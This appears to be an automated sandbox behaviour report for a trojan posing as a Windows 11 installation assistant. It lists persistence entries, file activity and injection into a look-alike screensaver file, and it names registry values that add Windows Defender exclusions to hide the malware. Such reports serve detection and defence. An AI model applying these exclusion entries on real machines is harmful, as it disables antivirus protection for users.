Trojan.Siggen18.59726

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

%APPDATA%\microsoft\windows\start menu\programs\startup\windows11installationassistant.lnk
<SYSTEM32>\tasks\ar

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS] 'dLl' = '00000000'
[<HKLM>\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS] 'sCr' = '00000000'
[<HKLM>\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS] 'CMd' = '00000000'
[<HKLM>\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS] 'exe' = '00000000'
[<HKLM>\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS] '<DRIVERS>\etc\hOSTS' = '00000000'

Executes the following

'%WINDIR%\syswow64\taskkill.exe' /f /im "Windows11InstaIIation.scr"

Injects code into

the following user processes:

windows11instaiiation.scr

Modifies file system

Creates the following files

%TEMP%\is-2gjnj.tmp\<File name>.tmp
%APPDATA%\windows11installationassistant\images\is-nc76d.tmp
%APPDATA%\windows11installationassistant\images\is-oq4k0.tmp
%APPDATA%\windows11installationassistant\images\is-57ug4.tmp
%APPDATA%\windows11installationassistant\images\is-0m9m3.tmp
%APPDATA%\windows11installationassistant\images\is-jdqi4.tmp
C:\tmp\.cmd
C:\tmp\.vbs
%TEMP%\is-9mf53.tmp\temp\.cmd
%TEMP%\aut6e3c.tmp
%TEMP%\1r6s2g0l.tmp
%TEMP%\aut6e4d.tmp
%TEMP%\aut6e4e.tmp
%WINDIR%\temp\aut7780.tmp
%WINDIR%\temp\2cze9p3j.tmp
%WINDIR%\temp\aut781d.tmp
%WINDIR%\temp\aut783d.tmp
%TEMP%\aut7982.tmp
%TEMP%\0cze7p6j.tmp
%TEMP%\aut7a10.tmp
%TEMP%\aut7a20.tmp
%WINDIR%\temp\aut84a9.tmp
%WINDIR%\temp\2g5b6e4v.tmp
%WINDIR%\temp\aut84ba.tmp
%APPDATA%\windows11installationassistant\images\is-os6cb.tmp
%WINDIR%\temp\aut84da.tmp
%APPDATA%\windows11installationassistant\images\is-j05kc.tmp
%APPDATA%\windows11installationassistant\images\is-1pr1m.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-uglcp.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-406n3.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-l0ofs.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-af164.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-5i3ok.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-anc58.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-8n7ll.tmp
%APPDATA%\windows11installationassistant\images\is-abgu1.tmp
%APPDATA%\windows11installationassistant\images\is-6o5n1.tmp
%APPDATA%\windows11installationassistant\images\is-3im09.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-mjpbt.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-7dbo5.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-bbngo.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-dv9jv.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-8s0da.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-e37qa.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-9k02i.tmp
%APPDATA%\windows11installationassistant\images\is-8m1g2.tmp
%APPDATA%\windows11installationassistant\is-vjp8n.tmp
%APPDATA%\windows11installationassistant\images\is-m7be8.tmp
%APPDATA%\windows11installationassistant\images\is-4lmt7.tmp
%APPDATA%\windows11installationassistant\images\is-nnb89.tmp
%APPDATA%\windows11installationassistant\images\is-c900q.tmp
%APPDATA%\windows11installationassistant\images\is-kna5e.tmp
%TEMP%\auta880.tmp
%TEMP%\fj3rn3pfwdc7ouj1qhvvraxdcxd1s.tmp
%WINDIR%\temp\aut8508.tmp
%WINDIR%\temp\auta9b7.tmp
%WINDIR%\temp\auta9b8.tmp
%APPDATA%\windows11installationassistant\.cmd
%APPDATA%\windows11installationassistant\.vbs
%WINDIR%\temp\autb8f3.tmp
%WINDIR%\temp\autb8f2.tmp
%WINDIR%\temp\4mnh8w4g.tmp
%WINDIR%\temp\autb9be.tmp
%WINDIR%\temp\autbaa9.tmp
%WINDIR%\temp\1h1w4g8n.tmp
%WINDIR%\temp\autbab7.tmp
%WINDIR%\temp\autbb45.tmp
%WINDIR%\temp\autc89b.tmp
%WINDIR%\temp\2r0d6t0t.tmp
%WINDIR%\temp\autc8ac.tmp
%WINDIR%\temp\autc8ad.tmp
%LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowscritical.png
%LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowswarning.png
%LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowssuccess.png
%LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowshelp.png
%LOCALAPPDATA%\orange group\windows 11 compatibility checker\pfp.png
%LOCALAPPDATA%\orange group\windows 11 compatibility checker\windows 11.png
%LOCALAPPDATA%\orange group\windows 11 compatibility checker\cpus.txt
%WINDIR%\temp\2w2m5i6g.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-fr8ep.tmp
%WINDIR%\temp\auta9a6.tmp
%TEMP%\auta86f.tmp
%WINDIR%\temp\aut8518.tmp
%TEMP%\aut85f1.tmp
%TEMP%\2g5b8e0v.tmp
%TEMP%\aut8621.tmp
%TEMP%\aut8650.tmp
%WINDIR%\temp\aut9701.tmp
%WINDIR%\temp\aut97eb.tmp
%TEMP%\aut97fa.tmp
%WINDIR%\temp\2c4x1d2w.tmp
%TEMP%\2c4x3d6w.tmp
%TEMP%\aut981b.tmp
%WINDIR%\temp\aut981b.tmp
%TEMP%\aut981c.tmp
%WINDIR%\temp\2c4x6d0w.tmp
%WINDIR%\temp\aut984a.tmp
%WINDIR%\temp\aut9859.tmp
%WINDIR%\temp\aut98f6.tmp
%WINDIR%\temp\auta350.tmp
%WINDIR%\temp\3w0n4w4l.tmp
%WINDIR%\temp\auta38f.tmp
%WINDIR%\temp\auta3bf.tmp
%TEMP%\auta840.tmp
%TEMP%\4eci3b0f.tmp
%WINDIR%\temp\aut84e8.tmp
%WINDIR%\temp\2bvg2b7e.tmp
%APPDATA%\windows11installationassistant\images\is-qacjq.tmp
%APPDATA%\windows11installationassistant\images\is-adihr.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-jc7sn.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-cs56i.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-1uis1.tmp
%APPDATA%\windows11installationassistant\is-ql6sh.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-ro199.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-1gssb.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-uu4rr.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-mtaqn.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-qj6rb.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-gghtm.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-1qc5j.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-e35qd.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-fqu4m.tmp
%APPDATA%\windows11installationassistant\images\is-cmo3b.tmp
%APPDATA%\windows11installationassistant\images\is-1e3kv.tmp
%APPDATA%\windows11installationassistant\images\is-50m69.tmp
%APPDATA%\windows11installationassistant\images\is-8jmr1.tmp
%TEMP%\is-9mf53.tmp\temp\is-p7lq3.tmp
%APPDATA%\windows11installationassistant\images\is-cj39n.tmp
%APPDATA%\windows11installationassistant\images\is-pebt3.tmp
%APPDATA%\windows11installationassistant\images\is-keoo5.tmp
%APPDATA%\windows11installationassistant\images\is-1ba2m.tmp
%APPDATA%\windows11installationassistant\images\is-79u7k.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-dkn90.tmp
%APPDATA%\windows11installationassistant\images\is-iauhk.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-i0qea.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-05h7u.tmp
%TEMP%\is-jcld3.tmp\_isetup\_setup64.tmp
%TEMP%\is-jcld3.tmp\_isetup\_shfoldr.dll
%TEMP%\is-jesiv.tmp\<File name>.tmp
%TEMP%\is-9mf53.tmp\_isetup\_setup64.tmp
%TEMP%\is-9mf53.tmp\_isetup\_shfoldr.dll
%TEMP%\is-9mf53.tmp\is-r0jil.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-hll3o.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-fvtre.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-g2mt5.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-7gutt.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-mq4r0.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-gival.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-jbsg9.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-eni0i.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-mpnn6.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-eov2l.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-tt1v7.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-j4eub.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-00gb3.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-jp215.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-sfnuo.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-640v0.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-obute.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-op3nk.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-djtg0.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-3v2up.tmp
%APPDATA%\windows11installationassistant\images\is-ar0me.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-7199u.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-37nl5.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-m0o3d.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-3ntpu.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-u5jms.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-ov84o.tmp
%APPDATA%\windows11installationassistant\images\is-8eose.tmp
%APPDATA%\windows11installationassistant\images\is-639e2.tmp
%APPDATA%\windows11installationassistant\images\is-nfkee.tmp
%APPDATA%\windows11installationassistant\images\is-4qcpi.tmp
%APPDATA%\windows11installationassistant\images\is-m2kvf.tmp
%APPDATA%\windows11installationassistant\images\is-lue48.tmp
%APPDATA%\windows11installationassistant\images\is-gl50c.tmp
%APPDATA%\windows11installationassistant\images\is-0dt2a.tmp
%APPDATA%\windows11installationassistant\images\is-hapm8.tmp
%APPDATA%\windows11installationassistant\images\is-2j6d8.tmp
%APPDATA%\windows11installationassistant\images\is-dg20f.tmp
%APPDATA%\windows11installationassistant\images\is-b701p.tmp
%APPDATA%\windows11installationassistant\images\is-d42ej.tmp
%APPDATA%\windows11installationassistant\images\is-fnjdr.tmp
%APPDATA%\windows11installationassistant\images\is-ib96e.tmp
%APPDATA%\windows11installationassistant\images\is-cc2em.tmp
%APPDATA%\windows11installationassistant\images\is-st6q5.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-32hb5.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-ione2.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-c65el.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-ct0rt.tmp
%APPDATA%\windows11installationassistant\images\is-u03aj.tmp
%APPDATA%\windows11installationassistant\images\is-0841m.tmp
%APPDATA%\windows11installationassistant\images\is-1jhgb.tmp
%APPDATA%\windows11installationassistant\images\is-g0e1s.tmp
%APPDATA%\windows11installationassistant\images\is-3k32p.tmp
%APPDATA%\windows11installationassistant\images\is-37jlj.tmp
C:\tmp\is-eljqt.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-j8upm.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-log8t.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-vdkv9.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-ten29.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-a3uhl.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-r5svo.tmp
C:\tmp\is-nfqcf.tmp
%APPDATA%\windows11installationassistant\images\is-ngfb9.tmp
%APPDATA%\windows11installationassistant\images\is-96a1h.tmp
%APPDATA%\windows11installationassistant\images\is-bkgu2.tmp
%APPDATA%\windows11installationassistant\images\is-cm2eu.tmp
%APPDATA%\windows11installationassistant\images\is-fcdei.tmp
%APPDATA%\windows11installationassistant\images\is-2od51.tmp
%APPDATA%\windows11installationassistant\images\is-61veh.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-3n5sd.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-724ou.tmp
%APPDATA%\windows11installationassistant\images\is-cghpp.tmp
%TEMP%\e3urgnxcoupehz8ubhtr75wg0v4bz41.sess

Sets the 'hidden' attribute to the following files

%APPDATA%\windows11installationassistant\ar.xml
%TEMP%\is-9mf53.tmp\temp\r.exe
C:\tmp\ico1.ico
C:\tmp\pbd.dll
%APPDATA%\windows11installationassistant\windows11instaiiation.scr
%APPDATA%\windows11installationassistant\.cmd
%APPDATA%\windows11installationassistant\.vbs

Deletes the following files

%TEMP%\is-jcld3.tmp\_isetup\_setup64.tmp
%TEMP%\is-9mf53.tmp\temp\.cmd
%WINDIR%\temp\2w2m5i6g.tmp
%WINDIR%\temp\auta9b8.tmp
%WINDIR%\temp\auta9b7.tmp
%WINDIR%\temp\auta9a6.tmp
%TEMP%\4eci3b0f.tmp
%WINDIR%\temp\autb8f2.tmp
%TEMP%\auta880.tmp
%TEMP%\auta840.tmp
%WINDIR%\temp\3w0n4w4l.tmp
%WINDIR%\temp\auta3bf.tmp
%WINDIR%\temp\auta38f.tmp
%WINDIR%\temp\auta350.tmp
%WINDIR%\temp\2c4x6d0w.tmp
%TEMP%\auta86f.tmp
%WINDIR%\temp\autb9be.tmp
%WINDIR%\temp\autb8f3.tmp
%WINDIR%\temp\autbaa9.tmp
%TEMP%\is-9mf53.tmp\_isetup\_shfoldr.dll
%TEMP%\is-9mf53.tmp\_isetup\_setup64.tmp
%TEMP%\is-9mf53.tmp\temp\r.exe
C:\tmp\pbd.dll
C:\tmp\ico1.ico
%APPDATA%\windows11installationassistant\ar.xml
%TEMP%\is-9mf53.tmp\windows.11.compatibility.checker.exe
%WINDIR%\temp\2r0d6t0t.tmp
%WINDIR%\temp\autc8ad.tmp
%WINDIR%\temp\autc8ac.tmp
%WINDIR%\temp\autc89b.tmp
%WINDIR%\temp\1h1w4g8n.tmp
%WINDIR%\temp\4mnh8w4g.tmp
%WINDIR%\temp\autbb45.tmp
%WINDIR%\temp\autbab7.tmp
%WINDIR%\temp\aut98f6.tmp
%TEMP%\is-jesiv.tmp\<File name>.tmp
%WINDIR%\temp\aut9859.tmp
%WINDIR%\temp\aut984a.tmp
%TEMP%\0cze7p6j.tmp
%TEMP%\aut7a20.tmp
%TEMP%\aut7a10.tmp
%TEMP%\aut7982.tmp
%WINDIR%\temp\2cze9p3j.tmp
%WINDIR%\temp\aut783d.tmp
%WINDIR%\temp\aut84a9.tmp
%WINDIR%\temp\aut781d.tmp
%TEMP%\1r6s2g0l.tmp
%TEMP%\aut6e4e.tmp
%TEMP%\aut6e4d.tmp
%TEMP%\aut6e3c.tmp
%TEMP%\is-2gjnj.tmp\<File name>.tmp
%TEMP%\is-jcld3.tmp\_isetup\_shfoldr.dll
%WINDIR%\temp\aut7780.tmp
%WINDIR%\temp\aut84ba.tmp
%WINDIR%\temp\aut84da.tmp
%WINDIR%\temp\aut84e8.tmp
%WINDIR%\temp\aut9701.tmp
%TEMP%\2c4x3d6w.tmp
%WINDIR%\temp\aut981b.tmp
%TEMP%\aut981c.tmp
%TEMP%\aut981b.tmp
%TEMP%\aut97fa.tmp
%WINDIR%\temp\aut97eb.tmp
%TEMP%\2g5b8e0v.tmp
%TEMP%\aut8650.tmp
%TEMP%\aut8621.tmp
%TEMP%\aut85f1.tmp
%WINDIR%\temp\2g5b6e4v.tmp
%WINDIR%\temp\2bvg2b7e.tmp
%WINDIR%\temp\aut8518.tmp
%WINDIR%\temp\aut8508.tmp
%WINDIR%\temp\2c4x1d2w.tmp
%TEMP%\fj3rn3pfwdc7ouj1qhvvraxdcxd1s.tmp

Moves the following files

from %TEMP%\is-9mf53.tmp\is-r0jil.tmp to %TEMP%\is-9mf53.tmp\windows.11.compatibility.checker.exe
from %APPDATA%\windows11installationassistant\images\is-st6q5.tmp to %APPDATA%\windows11installationassistant\images\menuicon@350.png
from %APPDATA%\windows11installationassistant\images\is-cc2em.tmp to %APPDATA%\windows11installationassistant\images\menuicon@325.png
from %APPDATA%\windows11installationassistant\images\is-ib96e.tmp to %APPDATA%\windows11installationassistant\images\menuicon@300.png
from %APPDATA%\windows11installationassistant\images\is-fnjdr.tmp to %APPDATA%\windows11installationassistant\images\menuicon@275.png
from %APPDATA%\windows11installationassistant\images\is-d42ej.tmp to %APPDATA%\windows11installationassistant\images\menuicon@250.png
from %APPDATA%\windows11installationassistant\images\is-b701p.tmp to %APPDATA%\windows11installationassistant\images\menuicon@225.png
from %APPDATA%\windows11installationassistant\images\is-dg20f.tmp to %APPDATA%\windows11installationassistant\images\menuicon@200.png
from %APPDATA%\windows11installationassistant\images\is-2j6d8.tmp to %APPDATA%\windows11installationassistant\images\menuicon@175.png
from %APPDATA%\windows11installationassistant\images\is-hapm8.tmp to %APPDATA%\windows11installationassistant\images\menuicon@150.png
from %APPDATA%\windows11installationassistant\images\is-0dt2a.tmp to %APPDATA%\windows11installationassistant\images\menuicon@125.png
from %APPDATA%\windows11installationassistant\images\is-gl50c.tmp to %APPDATA%\windows11installationassistant\images\menuicon@100.png
from %APPDATA%\windows11installationassistant\images\is-lue48.tmp to %APPDATA%\windows11installationassistant\images\foldericon@75-.png
from %APPDATA%\windows11installationassistant\images\is-m2kvf.tmp to %APPDATA%\windows11installationassistant\images\foldericon@350.png
from %APPDATA%\windows11installationassistant\images\is-4qcpi.tmp to %APPDATA%\windows11installationassistant\images\foldericon@325.png
from %APPDATA%\windows11installationassistant\icons\classic\is-3v2up.tmp to %APPDATA%\windows11installationassistant\icons\classic\d16.ico
from %APPDATA%\windows11installationassistant\images\is-nfkee.tmp to %APPDATA%\windows11installationassistant\images\foldericon@300.png
from %APPDATA%\windows11installationassistant\images\is-8eose.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@200.png
from %APPDATA%\windows11installationassistant\icons\classic\is-ov84o.tmp to %APPDATA%\windows11installationassistant\icons\classic\d20.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-u5jms.tmp to %APPDATA%\windows11installationassistant\icons\classic\d2.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-3ntpu.tmp to %APPDATA%\windows11installationassistant\icons\classic\d1a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-m0o3d.tmp to %APPDATA%\windows11installationassistant\icons\classic\d19a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-37nl5.tmp to %APPDATA%\windows11installationassistant\icons\classic\d5a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-7199u.tmp to %APPDATA%\windows11installationassistant\icons\classic\d5.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-32hb5.tmp to %APPDATA%\windows11installationassistant\icons\classic\prev.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-c65el.tmp to %APPDATA%\windows11installationassistant\icons\classic\next.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-djtg0.tmp to %APPDATA%\windows11installationassistant\icons\classic\d9a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-ct0rt.tmp to %APPDATA%\windows11installationassistant\icons\classic\d9.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-724ou.tmp to %APPDATA%\windows11installationassistant\icons\classic\d8a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-3n5sd.tmp to %APPDATA%\windows11installationassistant\icons\classic\d8.ico
from %APPDATA%\windows11installationassistant\images\is-61veh.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@150.png
from %APPDATA%\windows11installationassistant\images\is-639e2.tmp to %APPDATA%\windows11installationassistant\images\foldericon@100.png
from %APPDATA%\windows11installationassistant\icons\classic\is-8s0da.tmp to %APPDATA%\windows11installationassistant\icons\classic\d4.ico
from %APPDATA%\windows11installationassistant\images\is-0m9m3.tmp to %APPDATA%\windows11installationassistant\images\pagerbullets.png
from %APPDATA%\windows11installationassistant\icons\classic\is-fr8ep.tmp to %APPDATA%\windows11installationassistant\icons\classic\d15.ico
from %APPDATA%\windows11installationassistant\images\is-57ug4.tmp to %APPDATA%\windows11installationassistant\images\pagerbullet@100.png
from %APPDATA%\windows11installationassistant\images\is-oq4k0.tmp to %APPDATA%\windows11installationassistant\images\pagerbullet.png
from %APPDATA%\windows11installationassistant\images\is-nc76d.tmp to %APPDATA%\windows11installationassistant\images\pagerbackr@100.png
from %APPDATA%\windows11installationassistant\images\is-os6cb.tmp to %APPDATA%\windows11installationassistant\images\pagerbackc.png
from %APPDATA%\windows11installationassistant\images\is-j05kc.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@350.png
from %APPDATA%\windows11installationassistant\images\is-kna5e.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@325.png
from %APPDATA%\windows11installationassistant\images\is-1pr1m.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@300.png
from %APPDATA%\windows11installationassistant\images\is-c900q.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@275.png
from %APPDATA%\windows11installationassistant\images\is-nnb89.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@250.png
from %APPDATA%\windows11installationassistant\images\is-4lmt7.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@225.png
from %APPDATA%\windows11installationassistant\images\is-m7be8.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@200.png
from %APPDATA%\windows11installationassistant\is-vjp8n.tmp to %APPDATA%\windows11installationassistant\windows11instaiiation.scr
from %APPDATA%\windows11installationassistant\images\is-8m1g2.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@175.png
from %APPDATA%\windows11installationassistant\icons\new blue\is-9k02i.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d13.ico
from %APPDATA%\windows11installationassistant\images\is-2od51.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@125.png
from %APPDATA%\windows11installationassistant\icons\classic\is-e37qa.tmp to %APPDATA%\windows11installationassistant\icons\classic\d4a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-dv9jv.tmp to %APPDATA%\windows11installationassistant\icons\classic\d3a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-bbngo.tmp to %APPDATA%\windows11installationassistant\icons\classic\d3.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-7dbo5.tmp to %APPDATA%\windows11installationassistant\icons\classic\d2a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-mjpbt.tmp to %APPDATA%\windows11installationassistant\icons\classic\d20a.ico
from %APPDATA%\windows11installationassistant\images\is-3im09.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@175.png
from %APPDATA%\windows11installationassistant\images\is-6o5n1.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@150.png
from %APPDATA%\windows11installationassistant\images\is-abgu1.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@125.png
from %APPDATA%\windows11installationassistant\icons\new blue\is-8n7ll.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d19a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-anc58.tmp to %APPDATA%\windows11installationassistant\icons\classic\d19.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-5i3ok.tmp to %APPDATA%\windows11installationassistant\icons\classic\d18a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-af164.tmp to %APPDATA%\windows11installationassistant\icons\classic\d18.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-l0ofs.tmp to %APPDATA%\windows11installationassistant\icons\classic\d17a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-406n3.tmp to %APPDATA%\windows11installationassistant\icons\classic\d17.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-uglcp.tmp to %APPDATA%\windows11installationassistant\icons\classic\d15a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-ione2.tmp to %APPDATA%\windows11installationassistant\icons\classic\d16a.ico
from %APPDATA%\windows11installationassistant\images\is-qacjq.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@100.png
from %APPDATA%\windows11installationassistant\images\is-fcdei.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@100.png
from %APPDATA%\windows11installationassistant\icons\new blue\is-e35qd.tmp to %APPDATA%\windows11installationassistant\icons\new blue\next.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-qj6rb.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d8a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-mtaqn.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d8.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-uu4rr.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d7a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-1gssb.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d7.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-ro199.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d6a.ico
from %APPDATA%\windows11installationassistant\is-ql6sh.tmp to %APPDATA%\windows11installationassistant\ar.xml
from %APPDATA%\windows11installationassistant\icons\new blue\is-1uis1.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d6.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-cs56i.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d18a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-jc7sn.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d18.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-dkn90.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d17a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-i0qea.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d17.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-op3nk.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d16a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-05h7u.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d16.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-obute.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d19.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-gghtm.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d9.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-640v0.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d15a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-jp215.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d14a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-00gb3.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d14.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-j4eub.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d13a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-tt1v7.tmp to %APPDATA%\windows11installationassistant\icons\classic\d14a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-eov2l.tmp to %APPDATA%\windows11installationassistant\icons\classic\d14.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-mpnn6.tmp to %APPDATA%\windows11installationassistant\icons\classic\d13a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-eni0i.tmp to %APPDATA%\windows11installationassistant\icons\classic\d13.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-jbsg9.tmp to %APPDATA%\windows11installationassistant\icons\classic\d12a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-gival.tmp to %APPDATA%\windows11installationassistant\icons\classic\d12.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-mq4r0.tmp to %APPDATA%\windows11installationassistant\icons\classic\d11a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-7gutt.tmp to %APPDATA%\windows11installationassistant\icons\classic\d11.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-g2mt5.tmp to %APPDATA%\windows11installationassistant\icons\classic\d10a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-fvtre.tmp to %APPDATA%\windows11installationassistant\icons\classic\d10.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-hll3o.tmp to %APPDATA%\windows11installationassistant\icons\classic\d1.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-sfnuo.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d15.ico
from %APPDATA%\windows11installationassistant\images\is-u03aj.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@100.png
from %APPDATA%\windows11installationassistant\images\is-bkgu2.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@325.png
from %APPDATA%\windows11installationassistant\icons\new blue\is-fqu4m.tmp to %APPDATA%\windows11installationassistant\icons\new blue\prev.ico
